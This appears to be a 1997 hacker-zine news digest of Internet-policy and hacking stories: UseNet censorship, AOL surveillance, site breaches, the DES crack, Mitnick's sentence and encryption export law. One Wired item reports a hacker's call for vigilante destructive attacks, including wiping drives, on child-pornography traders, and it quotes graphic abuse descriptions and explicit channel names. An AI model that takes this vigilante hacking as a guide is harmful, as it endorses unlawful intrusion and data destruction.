The idea of the moderated news group is increasingly accepted on UseNet. Off-topic posts, flames, and spam have made many non-moderated groups effectively unreadable by most users. Moderated groups are one effective way around these problems. New groups created in the non-<gov.*> "Big 8" UseNet hierarchy have formal charters defining the group. If the group is moderated then the powers, identity, and qualifications of the moderators are also listed. Unmoderated groups might be likened to informal free-for-all debates where there is no check on who can participate or on the form or content of what is said. Moderated groups are far closer to a specially-defined meeting of citizens with a formal Chair, empowered to declare certain topics off-limits for discussion, and to call unruly participants to order.

An unmoderated UseNet group dedicated to baking cookies might be flooded with posts advertising bunion cures, reports of flying saucers sighted over Buckingham Palace, or articles denouncing Hillary Clinton as a Satanist. A moderator for the group has the power to block all of these posts, ensuring that they are not sent to the UseNet feed and do not appear among the on-topic discussion of cookies.

Certainly some moderators on UseNet groups abuse their powers (as do some Chairs at non-Internet meetings.) But reports of such abuse are relatively rare given the number of moderated groups. And, of course, many complaints come from the proverbial "net.kooks" or those who oppose moderation in general.

Moderators in the "Big 8" UseNet hierarchy are "civilians," not government employees moderating government-related groups while collecting government paychecks.

The <gov.*> hierarchy inferentially changes this. I write "inferentially" because the charters, names and qualifications of the moderators in the 200+ groups has not been formally announced. Nor do routine queries to members of the <gov.*> leading Hierarchial Coordinating Committee result in such detailed information.

UseNet is not the entire Internet. Net-based technology like the World Wide Web and the "File Transfer Protocol" or FTP are designed for the one-way transmission of data. Few object to the _Congressional Record_ on-line or crop reports posted by the U.S. Department of Agriculture available on the Web or via FTP. But the news groups of UseNet are designed for two-way discussions, not spam-like one-way info-floods of data carefully selected by government bureaucrats.

That creates an enormous problem when government employees moderate the discussion, regardless of how well, appropriately, or fairly the moderation is conducted.

For government moderation of any discussion is censorship and it is wrong.

Initial reports also indicate that most of the <gov.*> groups will be "robo [t]-moderated." In other words, specialized software programs will handle the bulk of the moderator's tasks. Robo-moderation, however, alters nothing. A good robo program may catch and eliminate 99% of the spam sent to the group or identify notorious flame-artists. But the power to robo-moderate remains the power to censor; the power to select one robo-moderator is the power to select another; the power to automatically remove bunion ads is simultaneously the power to eliminate all posts from Iraq in a political discussion or any message containing the string "Whitewater."

In short, moderation on <gov.*> groups by government employees remains censorship whether conducted by software or humans, whether posts are approriately banned or the moderation places severe limits on free political speech. *Any* limitation of posts from any citizen by any government employee is censorship.

It is also forbidden by law.

FOOTNOTES

[1] "GOVNEWS: N[ational] S[cience] F[oundation] Press Release for GovNews," 17 Mar 1997, <http://www.govnews.org/govnews/info/press.html>, accessed 21 Mar 1997.

[2] One wonders what technology Gore believes GovNews is providing. Certainly neither the Internet or UseNet is part of that technology for both existed long before GovNews.^Z

0x8>---

Title: AOL Users in Britain Warned of Surveillance
Source: unknown
Author: CHristopher Johnston

LONDON - Subscribers logging onto AOL Ltd. in Britain this week were greeted with news that the Internet-service provider was imposing a tough new contract giving it wide latitude to disclose subscribers' private E-mail and on-line activities to law enforcement and security agencies.

The new contract also requires users to comply with both British and U.S. export laws governing encryption. AOL Ltd. is a subsidiary of AOL Europe, which is a joint venture between America Online Inc. of the United States and Germany's Bertelsmann GmbH.

The contract notes in part that AOL ''reserves the right to monitor or disclose the contents of private communication over AOL and your data to the extent permitted or required by law.''

''It's bad news,'' said Marc Rotenberg, director of the Electronic Privacy Information Center, a Washington-based civil liberties organization. ''I think AOL is putting up a red flag that their commitment to privacy is on the decline. It puts their users on notice that to the extent permitted by law, they can do anything they want.''

The contract also prohibits subscribers from posting or transmitting any content that is ''unlawful, harmful, threatening, abusive, harassing, defamatory, vulgar, obscene, seditious, blasphemous, hateful, racially, ethnically or otherwise objectionable.''

AOL and its competitors called the move part of a trend to protect on-line service providers from suits by users in case they are required to disclose subscribers' activities to law enforcement agencies.

The contract also beefed up the legal wording relating to sensitive content such as pornography, and prohibiting the maintenance of links to obscene Web sites.

The updated contract is also the first to inform subscribers that they are required to comply with both British and U.S. export laws governing encryption, or coding, a hot topic of debate recently between software publishers and security agencies.

AOL Europe will provide similar contracts, which vary according to local law in each of the seven European countries in which the network operates.

AOL executives denied any government pressure in updating the contract.

0x9>---

Title: Georgia Expands the "Instruments of Crime"
Source: fight-censorship@vorlon.mit.edu

In Georgia it is a crime, punishable by $30K and four years to use in furtherance of a crime:

 * a telephone
 * a fax machine
 * a beeper
 * email

The actual use of the law, I think, is that when a person is selling drugs and either is in possession of a beeper, or admits to using the phone to facilitate a meeting, he is charged with the additional felony of using a phone. This allows for selective enforcement of additional penalties for some people.

  O.C.G.A. 16-13-32.3.

  (a) It shall be unlawful for any person knowingly or intentionally to use any communication facility in committing or in causing or facilitating the commission of any act or acts constituting a felony under this chapter. Each separate use of a communication facility shall be a separate offense under this Code section. For purposes of this Code section, the term "communication facility" means any and all public and private instrumentalities used or useful in the transmission of writing, signs, signals, pictures, or sounds of all kinds and includes mail, telephone, wire, radio, computer or computer network, and all other means of communication.

  (b) Any person who violates subsection (a) of this Code section shall be punished by a fine of not more than $30,000.00 or by imprisonment for not less than one nor more than four years, or both.

0xa>---

Title: NASA Nabs Teen Computer Hacker
Source: Associated Press
Author: unknown

Date: Monday, June 2, 1997

WASHINGTON (AP) - A Delaware teen-ager who hacked his way into a NASA web site on the Internet and left a message berating U.S. officials is being investigated by federal authorities, agency officials said Monday.

NASA Inspector General Robert Gross cited the incident - the most recent example of a computer invasion of a NASA web site - as an example of how the space agency has become ``vulnerable via the Internet.''

"We live in an information environment vastly different than 20 years ago," Gross said in a written statement. "Hackers are increasing in number and in frequency of attack."

In the latest case, the Delaware teen, whose name, age and hometown were not released, altered the Internet web site for the Marshall Space Flight Center in Huntsville, Ala., according to the statement from the computer crimes division of NASA's Inspector General Office.

"We own you. Oh, what a tangled web we weave, when we practice to deceive," the teen's message said, adding that the government systems administrators who manage the site were "extremely stupid."

The message also encouraged sympathizers of Kevin Mitnick, a notorious computer hacker, to respond to the site. Mitnick was indicted last year on charges stemming from a multimillion-dollar crime wave in cyberspace.

The altered message was noticed by the computer security team in Huntsville but the NASA statement did not mention how long the message was available to the public or exactly when it was discovered. NASA officials weren't made available to answer questions about the event.

In the statement, NASA called the teen's hacking "a cracking spree" and said it was stopped May 26 when his personal computer was seized.

Prosecutors from the U.S. Attorney's office in Delaware and Alabama are handling the case with NASA's computer crimes division.

Last March, cyberspace invaders made their way into another NASA web site and threatened an electronic terrorist attack against corporate America. The group, which called itself ``H4G1S'' in one message and ``HAGIS'' in another, also called for some well-known hackers to be released from jail.

Engineers at the Goddard Space Flight Center in Greenbelt, Md., quickly noticed the change and took the page off the Internet within 30 minutes. NASA officials said the agency installed electronic security measures designed to prevent a recurrence.

0xb>--

Title: Agriculture Dept. Web Site Closed after Security Breach
Source: Reuter
Author: unknown

WASHINGTON (June 11, 1997 00:08 a.m. EDT) - The U.S. Agriculture Department's Foreign Agricultural Service shut down access to its internet home page Tuesday after a major security breach was discovered, a department aide said.

"It's a big, huge problem," Ed Desrosiers, a computer specialist in USDA's Farm Service Agency, told Reuters. "We can't guarantee anything's clean anymore."

Someone broke into system and began "sending out a lot of messages" to other "machines" on the internet, Desrosiers said.

The volume of traffic was so great, "we were taking down machines" and began receiving complaints, he said.

"It's not worth our time to try to track down" the culprit, Desrosiers said. "Instead, we're just going to massively increase security."

A popular feature on the FAS home page is the search function for "attache reports," which are filed by overseas personnel and provide assessments on crop conditions around the world. Although not official data, the reports provide key information that goes into USDA's monthly world supply-and-demand forecasts.

It could be next week before the page is open to outside users again, Desrosiers said.

0xc>---

Title: Hackers Smash US Government Encryption Standard
Source: fight-censorship@vorlon.mit.edu

Oakland, California (June 18, 1997)-The 56-bit DES encryption standard, long claimed "adequate" by the U.S. Government, was shattered yesterday using an ordinary Pentium personal computer operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake City, Utah-based online commerce provider. Sanders was part of a loosely organized group of computer users responding to the "RSA $10,000 DES Challenge." The code-breaking group distributed computer software over the Internet for harnessing idle moments of computers around the world to perform a 'brute force' attack on the encrypted data.

"That DES can be broken so quickly should send a chill through the heart of anyone relying on it for secure communications," said Sameer Parekh, one of the group's participants and president of C2Net Software, an Internet encryption provider headquartered in Oakland, California (http://www.c2.net/). "Unfortunately, most people today using the Internet assume the browser software is performing secure communications when an image of a lock or a key appears on the screen. Obviously, that is not true when the encryption scheme is 56-bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage people to demand the highest available encryption security, such as the 128-bit security provided by C2Net's Stronghold product, rather than the weak 56-bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40-bit cipher, because that is the maximum encryption level the U.S. government has approved for export. "People located within the US can obtain more secure browser software, but that usually involves submitting an affidavit of eligibility, which many people have not done," said Parekh. "Strong encryption is not allowed to be exported from the U.S., making it harder for people and businesses in international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort emphasizes that security systems based on 56-bit DES or "export-quality" cryptography are out-of-date, and should be phased out. Certainly no new systems should be designed with such weak encryption.'' Goldberg is a member of the University of California at Berkeley's ISAAC group, which discovered a serious security flaw in the popular Netscape Navigator web browser software.

The 56-bit DES cipher was broken in 5 months, significantly faster than the hundreds of years thought to be required when DES was adopted as a national standard in 1977. The weakness of DES can be traced to its "key length," the number of binary digits (or "bits") used in its encryption algorithm. "Export grade" 40-bit encryption schemes can be broken in less than an hour, presenting serious security risks for companies seeking to protect sensitive information, especially those whose competitors might receive code-breaking assistance from foreign governments.

According to Parekh, today's common desktop computers are tremendously more powerful than any computer that existed when DES was created. "Using inexpensive (under $1000) computers, the group was able to crack DES in a very short time," he noted. "Anyone with the resources and motivation to employ modern "massively parallel" supercomputers for the task can break 56-bit DES ciphers even faster, and those types of advanced technologies will soon be present in common desktop systems, providing the keys to DES to virtually everyone in just a few more years."

56-bit DES uses a 56-bit key, but most security experts today consider a minimum key length of 128 bits to be necessary for secure encryption. Mathematically, breaking a 56-bit cipher requires just 65,000 times more work than breaking a 40-bit cipher. Breaking a 128-bit cipher requires 4.7 trillion billion times as much work as one using 56 bits, providing considerable protection against brute-force attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet security software. C2Net's encryption products are developed entirely outside the United States, allowing the firm to offer full-strength cryptography solutions for international communications and commerce. "Our products offer the highest levels of security available today. We refuse to sell weak products that might provide a false sense of security and create easy targets for foreign governments, criminals, and bored college students," said Parekh. "We also oppose so-called "key escrow" plans that would put everyone's cryptography keys in a few centralized locations where they can be stolen and sold to the highest bidder," he added. C2Net's products include the Stronghold secure web server and SafePassage Web Proxy, an enhancement that adds full-strength encryption to any security-crippled "export grade" web browser software.

0xd>---

Title: Hacker May Stolen JonBenet computer Documents
Source: Associated Press
Author: Jennifer Mears

BOULDER, Colo. (June 13, 1997 07:38 a.m. EDT) -- A computer hacker has infiltrated the system set aside for authorities investigating the slaying of JonBenet Ramsey, the latest blow to a heavily criticized inquiry.

[...despite the computer not being online or connected to other computers..]

Boulder police spokeswoman Leslie Aaholm said the computer was "hacked" sometime early Saturday. The incident was announced by police Thursday.

"We don't believe anything has been lost, but we don't know what, if anything, has been copied," said Detective John Eller, who is leading the investigation into the slaying of the 6-year-old girl nearly six months ago.

The computer is in a room at the district attorney's office that police share with the prosecutor's investigators. The room apparently had not been broken into. Computer experts with the Colorado Bureau of Investigations were examining equipment to determine what had been done.

[Bullshit. It was later found out that the machine was not hacked at all.]

0xe>---

Title: Hacker Vows 'Terror' for Pornographers
Source: Wired
Author: Steve Silberman

After 17 years in the hacker underground, Christian Valor - well known among old-school hackers and phone phreaks as "Se7en" - was convinced that most of what gets written in the papers about computers and hacking is sensationalistic jive. For years, Valor says, he sneered at reports of the incidence of child pornography on the Net as "exaggerated/over-hyped/fearmongered/bullshit."

Now making his living as a lecturer on computer security, Se7en claims he combed the Net for child pornography for eight weeks last year without finding a single image.

That changed a couple of weeks ago, he says, when a JPEG mailed by an anonymous prankster sent him on an odyssey through a different kind of underground: IRC chat rooms with names like #littlegirlsex, ftp directories crammed with filenames like 6yoanal.jpg and 8&dad.jpg, and newsgroups like alt.binaries.pictures.erotica.pre-teen. The anonymous file, he says, contained a "very graphic" image of a girl "no older than 4 years old."

On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of "genuine hacker terror" to those who upload and distribute such images on the Net. The debate over his methods has stirred up tough questions among his peers about civil liberties, property rights, and the ethics of vigilante justice.

A declaration of war

What Se7en tapped into, he says, was a "very paranoid" network of traders of preteen erotica. In his declaration of "public war" - posted to a mailing list devoted to an annual hacker's convention called DefCon - Se7en explains that the protocol on most child-porn servers is to upload selections from your own stash, in exchange for credits for more images.

What he saw on those servers made him physically sick, he says. "For someone who took a virtual tour of the kiddie-porn world for only one day," he writes, "I had the opportunity to fully max out an Iomega 100-MB Zip disc."

Se7en's plan to "eradicate" child-porn traders from the Net is "advocating malicious, destructive hacking against these people." He has enlisted the expertise of two fellow hackers for the first wave of attacks, which are under way.

Se7en feels confident that legal authorities will look the other way when the victims of hacks are child pornographers - and he claims that a Secret Service agent told him so explicitly. Referring to a command to wipe out a hard drive by remote access, Se7en boasted, "Who are they going to run to? The police? 'They hacked my kiddie-porn server and rm -rf'd my computer!' Right."

Se7en claims to have already "taken down" a "major player" - an employee of Southwestern Bell who Se7en says was "posting ads all over the place." Se7en told Wired News that he covertly watched the man's activities for days, gathering evidence that he emailed to the president of Southwestern Bell. Pseudonymous remailers like hotmail.com and juno.com, Se7en insists, provide no security blanket for traders against hackers uncovering their true identities by cracking server logs. Se7en admits the process of gaining access to the logs is time consuming, however. Even with three hackers on the case, it "can take two or three days. We don't want to hit the wrong person."

A couple of days after submitting message headers and logs to the president and network administrators of Southwestern Bell, Se7en says, he got a letter saying the employee was "no longer on the payroll."

The hacker search for acceptance

Se7en's declaration of war received support on the original mailing list. "I am all for freedom of speech/expression," wrote one poster, "but there are some things that are just wrong.... I feel a certain moral obligation to the human race to do my part in cleaning up the evil."

Federal crackdowns targeting child pornographers are ineffective, many argued. In April, FBI director Louis Freeh testified to the Senate that the bureau operation dubbed "Innocent Images" had gathered the names of nearly 4,000 suspected child-porn traffickers into its database. Freeh admitted, however, that only 83 of those cases resulted in convictions. (The Washington Times reports that there have also been two suicides.)

The director's plan? Ask for more federal money to fight the "dark side of the Internet" - US$10 million.

Pitching in to assist the Feds just isn't the hacker way. As one poster to the DefCon list put it, "The government can't enforce laws on the Internet. We all know that. We can enforce laws on the Internet. We all know that too."

The DefCon list was not a unanimous chorus of praise for Se7en's plan to give the pornographers a taste of hacker terror, however. The most vocal dissenter has been Declan McCullagh, Washington correspondent for the Netly News. McCullagh is an outspoken champion of constitutional rights, and a former hacker himself. He says he was disturbed by hackers on the list affirming the validity of laws against child porn that he condemns as blatantly unconstitutional.

"Few people seem to realize that the long-standing federal child-porn law outlawed pictures of dancing girls wearing leotards," McCullagh wrote - alluding to the conviction of Stephen Knox, a graduate student sentenced to five years in prison for possession of three videotapes of young girls in bathing suits. The camera, the US attorney general pointed out, lingered on the girls' genitals, though they remained clothed. "The sexual implications of certain modes of dress, posture, or movement may readily put the genitals on exhibition in a lascivious manner, without revealing them in a nude display," the Feds argued - and won.

It's decisions like Knox v. US, and a law criminalizing completely synthetic digital images "presented as" child porn, McCullagh says, that are making the definition of child pornography unacceptably broad: a "thought crime."

The menace of child porn is being exploited by "censor-happy" legislators to "rein in this unruly cyberspace," McCullagh says. The rush to revile child porn on the DefCon list, McCullagh told Wired News, reminded him of the "loyalty oaths" of the McCarthy era.

"These are hackers in need of social acceptance," he says. "They've been marginalized for so long, they want to be embraced for stamping out a social evil." McCullagh knows his position is a difficult one to put across to an audience of hackers. In arguing that hackers respect the property rights of pornographers, and ponder the constitutionality of the laws they're affirming, McCullagh says, "I'm trying to convince hackers to respect the rule of law, when hacking systems is the opposite of that."

But McCullagh is not alone. As the debate over Se7en's declaration spread to the cypherpunks mailing list and alt.cypherpunks - frequented by an older crowd than the DefCon list - others expressed similar reservations over Se7en's plan.

"Basically, we're talking about a Dirty Harry attitude," one network technician/cypherpunk told Wired News. Though he senses "real feeling" behind Se7en's battle cry, he feels that the best way to deal with pornographers is to "turn the police loose on them." Another participant in the discussion says that while he condemns child porn as "terrible, intrinsically a crime against innocence," he questions the effectiveness of Se7en's strategy.

"Killing their computer isn't going to do anything," he says, cautioning that the vigilante approach could be taken up by others. "What happens if you have somebody who doesn't like abortion? At what point are you supposed to be enforcing your personal beliefs?"

Raising the paranoia level

Se7en's loathing for aficionados of newsgroups like alt.sex.pedophilia.swaps runs deeper than "belief." "I myself was abused when I was a kid," Se7en told Wired News. "Luckily, I wasn't a victim of child pornography, but I know what these kids are going through."

With just a few hackers working independently to crack server logs, sniff IP addresses, and sound the alarm to network administrators, he says, "We can take out one or two people a week ... and get the paranoia level up," so that "casual traders" will be frightened away from IRC rooms like "#100%preteensexfuckpics."

It's not JPEGs of clothed ballerinas that raise his ire, Se7en says. It's "the 4-year-olds being raped, the 6-year-old forced to have oral sex with cum running down themselves." Such images, Se7en admits, are very rare - even in online spaces dedicated to trading sexual imagery of children.

"I know what I'm doing is wrong. I'm trampling on the rights of these guys," he says. "But somewhere in the chain, someone is putting these images on paper before they get uploaded. Your freedom ends when you start hurting other people."

0xf>---

Title: Mitnick Gets 22 Month Sentence
Source: LA Times
Author: Julie Tamaki
Date: Tuesday, June 17, 1997

A federal judge indicated Monday that she plans to sentence famed computer hacker Kevin Mitnick to 22 months in prison for cellular phone fraud and violating his probation from an earlier computer crime conviction.

The sentencing Monday is only a small part of Mitnick's legal problems. Still pending against him is a 25-count federal indictment accusing him of stealing millions of dollars in software during an elaborate hacking spree while he was a fugitive. A trial date in that case has yet to be set.

U.S. District Judge Mariana R. Pfaelzer on Monday held off on formally sentencing Mitnick for a week in order to give her time to draft conditions for Mitnick's probation after he serves the prison term.

Pfaelzer said she plans to sentence Mitnick to eight months on the cellular phone fraud charge and 14 months for violating his probation from a 1988 computer-hacking conviction, Assistant U.S. Atty. Christopher Painter said. The sentences will run consecutively.

Mitnick faces the sentence for violating terms of his probation when he broke into Pac Bell voice mail computers in 1992 and used stolen passwords of Pac Bell security employees to listen to voice mail, Painter said. At the time, Mitnick was employed by Teltec Communications, which was under investigation by Pac Bell.

0x10>---

Title: New York Judge Prohibits State Regulation of Internet

Source: unknown
Author: unknown
Date: Friday, June 20, 1997

NEW YORK -- As the nation awaits a Supreme Court decision on Internet censorship, a federal district judge here today blocked New York State from enforcing its version of the federal Communications Decency Act (CDA).

Ruling simultaneously in ACLU v. Miller, another ACLU challenge to state Internet regulation, a Federal District Judge in Georgia today struck down a law criminalizing online anonymous speech and the use of trademarked logos as links on the World Wide Web.

In ALA v. Pataki, Federal District Judge Loretta A. Preska issued a preliminary injunction against the New York law, calling the Internet an area of commerce that should be marked off as a "national preserve" to protect online speakers from inconsistent laws that could "paralyze development of the Internet altogether."

Judge Preska, acknowledging that the New York act was "clearly modeled on the CDA," did not address the First Amendment issues raised by the ACLU's federal challenge, saying that the Commerce Clause provides "fully adequate support" for the injunction and that the Supreme Court would address the other issues in its widely anticipated decision in Reno v. ACLU. (The Court's next scheduled decision days are June 23, 25 and 26.)

"Today's decisions in New York and Georgia say that, whatever limits the Supreme Court sets on Congress's power to regulate the Internet, states are prohibited from acting to censor online expression," said Ann Beeson, an ACLU national staff attorney who argued the case before Judge Preska and is a member of the ACLU v. Miller and Reno v. ACLU legal teams.

"Taken together, these decisions send a very important and powerful message to legislators in the other 48 states that they should keep their hands off the Internet," Beeson added.

In a carefully reasoned, 62-page opinion, Judge Preska warned of the extreme danger that state regulation would pose to the Internet, rejecting the state's argument that the statute would even be effective in preventing so-called "indecency" from reaching minors. Further, Judge Preska observed, the state can already protect children through the vigorous enforcement of existing criminal laws.

"In many ways, this decision is more important for the business community than for the civil liberties community," said Chris Hansen, a senior ACLU attorney on the ALA v. Pataki legal team and lead counsel in Reno v. ACLU. "Legislatures are just about done with their efforts to regulate the business of Internet 'sin,' and have begun turning to the business of the Internet itself. Today's decision ought to stop that trend in its tracks."

Saying that the law would reduce all speech on the Internet to a level suitable for a six-year-old, the American Civil Liberties Union, the New York Civil Liberties Union, the American Library Association and others filed the challenge in January of this year.

The law, which was passed by the New York legislature late last year, provides criminal sanctions of up to four years in jail for communicating so-called "indecent" words or images to a minor.

In a courtroom hearing before Judge Preska in April, the ACLU presented a live Internet demonstration and testimony from plaintiffs who said that their speech had already been "chilled" by the threat of criminal prosecution.

"This is a big win for the people of the state of New York," said Norman Siegel, Executive Director of the New York Civil Liberties Union. "Today's ruling vindicates what we have been saying all along to Governor Pataki and legislators, that they cannot legally prevent New Yorkers from engaging in uninhibited, open and robust freedom of expression on the Internet."

The ALA v. Pataki plaintiffs are: the American Library Association, the Freedom to Read Foundation, the New York Library Association, the American Booksellers Foundation for Free Expression, Westchester Library System, BiblioBytes, Association of American Publishers, Interactive Digital Software Association, Magazine Publishers of America, Public Access Networks Corp. (PANIX), ECHO, NYC Net, Art on the Net, Peacefire and the American Civil Liberties Union.

Michael Hertz and others of the New York firm Latham & Watkins provided pro-bono assistance to the ACLU and NYCLU; Michael Bamberger of Sonnenschein Nath & Rosenthal in New York is also co-counsel in the case. Lawyers from the ACLU are Christopher Hansen, Ann Beeson and Art Eisenberg, legal director of the NYCLU.

0x11>---

Title: Breaking the Crypto Barrier
Source: Wired
Author: Chris Oakes
Date: 5:03am 20.Jun.97.PDT

Amid a striking convergence of events bearing on US encryption policy this week, one development underlined what many see as the futility of the Clinton administration's continuing effort to block the export of strong encryption: The nearly instantaneous movement of PGP's 128-bit software from its authorized home on a Web server at MIT to at least one unauthorized server in Europe.

Shortly after Pretty Good Privacy's PGP 5.0 freeware was made available at MIT on Monday, the university's network manager, Jeffrey Schiller, says he read on Usenet that the software had already been transmitted to a foreign FTP server. Ban or no ban, someone on the Net had effected the instant export of a very strong piece of code. On Wednesday, Wired News FTP'd the software from a Dutch server, just like anyone with a connection could have.

A Commerce Department spokesman said his office was unaware of the breach.

The event neatly coincided with the appearance of a new Senate bill that seeks to codify the administration's crypto policy, and an announcement Wednesday that an academic/corporate team had succeeded in breaking the government's standard 56-bit code.

The software's quick, unauthorized spread to foreign users might have an unexpected effect on US law, legal sources noted.

"If [Phil] Zimmermann's [original PGP] software hadn't gotten out on the Internet and been distributed worldwide, unquestionably we wouldn't have strong encryption today," said lawyer Charles Merrill, who chairs his firm's computer and high-tech law-practice group. Actions like the PGP leak, he speculated, may further the legal flow of such software across international borders.

Said Robert Kohn, PGP vice president and general counsel: "We're optimistic that no longer will PGP or companies like us have to do anything special to export encryption products."

The Web release merely sped up a process already taking place using a paper copy of the PGP 5.0 source code and a scanner - reflecting the fact it is legal to export printed versions of encryption code.

On Wednesday, the operator of the International PGP Home Page announced that he had gotten his hands on the 6,000-plus-page source code, had begun scanning it, and that a newly compiled version of the software will be available in a few months.

Norwegian Stale Schumaker, who maintains the site, said several people emailed and uploaded copies of the program to an anonymous FTP server he maintains. But he said he deleted the files as soon as he was aware of them, because he wants to "produce a version that is 100 percent legal" by scanning the printed code.

The paper copy came from a California publisher of technical manuals and was printed with the cooperation of PGP Inc. and its founder, Phil Zimmermann. Schumaker says he does not know who mailed his copy.

"The reason why we publish the source code is to encourage peer review," said PGP's Kohn, "so independent cryptographers can tell other people that there are no back doors and that it is truly strong encryption."

Schumaker says his intentions are farther-reaching.

"We are a handful of activists who would like to see PGP spread to the whole world," his site reads, alongside pictures of Schumaker readying pages for scanning. "You're not allowed to download the program from MIT's Web server because of the archaic laws in the US. That's why we exported the source-code books."

0x12>---

Title: Setback in Efforts to Secure Online Privacy
Source: unknown
Author: unknown
Date: Thursday, June 19, 1997

WASHINGTON -- A Senate committee today setback legislative efforts to secure online privacy, approving legislation that would restrict the right of businesses and individuals both to use encryption domestically and to export it.

On a voice vote, the Senate Commerce Committee adopted legislation that essentially reflects the Clinton Administration's anti-encryption policies.

The legislation approved today on a voice vote by the Senate Commerce Committee was introduced this week by Senate Commerce Committee Chairman John McCain, Republican of Arizona, and co-sponsored by Democrats Fritz Hollings of South Carolina; Robert Kerry of Nebraska and John Kerry of Massachusetts.

Encryption programs scramble information so that it can only be read with a "key" -- a code the recipient uses to unlock the scrambled electronic data. Programs that use more than 40 bits of data to encode information are considered "strong" encryption. Currently, unless these keys are made available to the government, the Clinton Administration bans export of hardware or software containing strong encryption, treating these products as "munitions."

Privacy advocates continue to criticize the Administration's stance, saying that the anti-cryptography ban has considerably weakened U.S. participation in the global marketplace, in addition to curtailing freedom of speech by denying users the right to "speak" using encryption. The ban also violates the right to privacy by limiting the ability to protect sensitive information in the new computerized world.

Today's committee action knocked out of consideration the so-called "Pro-CODE" legislation, a pro-encryption bill introduced by Senator Conrad Burns, Republican of Montana. Although the Burns legislation raised some civil liberties concerns, it would have lifted export controls on encryption programs and generally protected individual privacy.

"Privacy, anonymity and security in the digital world depend on encryption," said Donald Haines, legislative counsel on privacy and cyberspace issues for the ACLU's Washington National Office. "The aim of the Pro-CODE bill was to allow U.S. companies to compete with industries abroad and lift restrictions on the fundamental right to free speech, the hallmark of American democracy."

"Sadly, no one on the Commerce Committee, not even Senator Burns, stood up and defended the pro-privacy, pro-encryption effort," Haines added.

In the House, however, strong encryption legislation that would add new privacy protections for millions of Internet users in this country and around the world has been approved by two subcommittees.

The legislation -- H.R. 695, the "Security and Freedom Through Encryption Act" or SAFE -- would make stronger encryption products available to American citizens and users of the Internet around the world. It was introduced by Representative Robert W. Goodlatte, Republican of Virginia.

"We continue to work toward the goal of protecting the privacy of all Internet users by overturning the Clinton Administration's unreasonable encryption policy," Haines concluded

0x13>---

Title: Captain Crunch Web Site Now Moved
Source: Telecom Digest 17.164

The Cap'n Crunch home page URL has been changed. The new URL is now http://crunch.woz.org/crunch

I've made significant changes to the site, added a FAQ based on a lot of people asking me many questions about blue boxing, legal stuff, and hacking in general. The FAQ will be growing all the time, as I go through all the requests for information that many people have sent. "Email me" if you want to add more questions.

Our new server is now available to host web sites for anyone who wants to use it for interesting projects. This is for Elite people only, and you have to send me a proposal on what you plan to use it for.

[So now old John gets to decide who is elite and who isn't.]

I'm open for suggestions, and when you go up to the WebCrunchers web site: http://crunch.woz.org

You'll get more details on that. Our server is a Mac Power PC, running WebStar web server, connected through a T-1 link to the backbone. I know that the Mac Webserver might be slower, but I had security in mind when I picked it. Besides, I didn't pick it, Steve Wozniak did... :-) So please don't flame me for using a Mac.

I know that Mac's are hated by hackers, but what the heck ... at least we got our OWN server now.

I also removed all the blatant commercial hipe from the home page and put it elsewhere. But what the heck ... I should disserve to make SOME amount of money selling things like T-shirts and mix tapes.

We plan to use it for interesting projects, and I want to put up some Audio files of Phone tones. For instance, the sound of a blue box call going through, or some old sounds of tandom stacking. If there are any of you old-timers out there that might have some interesting audio clips of these sounds, please get in touch with me.

[There is already a page out there with those sounds and a lot more.. done by someone who discovered phreaking on their own. Little known fact because of all the obscurement: John Draper did not discover blue boxing. It was all taught to him.]

Our new Domain name registration will soon be activated, and at that time our URL will be:

```
http://www.webcrunchers.com        - Our Web hosting server
http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page
```

Regards,
Cap'n Crunch

0x14>--

Title: US Justive Dept. Investigating Network Solutions
Source: New York Times
Author: Agis Salpukas
Date: 7 July '97

The Justice Department has begun an investigation into the practice of assigning Internet addresses to determine if the control that Network Solutions Inc. exercises over the process amounts to a violation of antitrust laws.

The investigation was disclosed by the company Thursday in documents filed with the Securities and Exchange Commission. The filing came as part of a proposed initial stock offering that is intended to raise $35 million.

The investigation was first reported in The Washington Post on Sunday.

Network Solutions, which is based in Herndon, Va., and is a subsidiary of Science Applications International Corp., has been the target of a growing chorus of complaints and two dozen lawsuits as the Internet has expanded and the competition for these addresses, or domain names, has grown more intense.

0x15>--

Title: Cyber Patrol Bans Crypt Newsletter
Source: Crypt Newsletter
Author: George Smith
Date: June 19, 1997

Hey, buddy, did you know I'm a militant extremist? Cyber Patrol, the Net filtering software designed to protect your children from cyberfilth, says so. Toss me in with those who sleep with a copy of "The Turner Diaries" under their pillows and those who file nuisance liens against officials of the IRS. Seems my Web site is dangerous viewing.

I discovered I was a putative militant extremist while reading a story on Net censorship posted on Bennett Haselton's PeaceFire Web site. Haselton is strongly critical of Net filtering software and he's had his share of dustups with vendors like Cyber Patrol, who intermittently ban his site for having the temerity to be a naysayer.

Haselton's page included some links so readers could determine what other Web pages were banned by various Net filters. On a lark, I typed in the URL of the Crypt Newsletter, the publication I edit. Much to my surprise, I had been banned by Cyber Patrol. The charge? Militant extremism. Cyber Patrol also has its own facility for checking if a site is banned, called the CyberNOT list. Just to be sure, I double-checked. Sure enough, I was a CyberNOT.

Now you can call me Ray or you can call me Joe, but don't ever call me a militant extremist! I've never even seen one black helicopter transporting U.N. troops to annex a national park.

However, nothing is ever quite as it seems on the Web and before I went into high dudgeon over political censorship--the Crypt Newsletter has been accused of being "leftist" for exposing various government, academic, and software industry charlatans--I told some of my readership. Some of them wrote polite--well, almost polite--letters to Debra Greaves, Cyber Patrol's head of Internet research. And Greaves wrote back almost immediately, indicating it had all been a mistake.

My Web site was blocked as a byproduct of a ban on another page on the same server. "We do have a [blocked] site off of that server with a similar directory. I have modified the site on our list to be more unique so as to not affect [your site] any longer," she wrote.

Perhaps I should have been reassured that Cyber Patrol wasn't banning sites for simply ridiculing authority figures, a favorite American past time. But if anything, I was even more astonished to discover th company's scattershot approach to blocking. It doesn't include precise URLs in its database. Instead, it prefers incomplete addresses that block everything near the offending page. The one that struck down Crypt News was "soci.niu.edu/~cr," a truncated version of my complete URL. In other words: any page on the machine that fell under "~cr" was toast.

